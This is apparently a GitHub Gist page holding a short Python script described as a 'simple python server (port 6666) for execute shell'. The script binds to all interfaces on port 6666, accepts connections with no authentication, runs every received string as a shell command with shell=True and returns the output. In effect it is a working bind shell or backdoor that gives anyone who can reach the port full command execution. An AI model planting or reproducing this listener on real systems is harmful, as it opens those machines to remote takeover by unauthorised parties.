-
-
Save arshtepe/2eb8ebb2f4ef335df64d49bef5f4fa05 to your computer and use it in GitHub Desktop.
simple python server (port 6666) for execute shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
import sys | |
import subprocess | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
server_address = ('0.0.0.0', 6666) | |
sock.bind(server_address) | |
sock.listen(10) | |
while True: | |
connection, client_address = sock.accept() | |
data = connection.recv(1024).strip() | |
if data == 'q': break | |
res = str(subprocess.check_output(str(data), shell=True)).strip() | |
if not res: | |
res = "empty" | |
connection.sendall(res) | |
connection.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment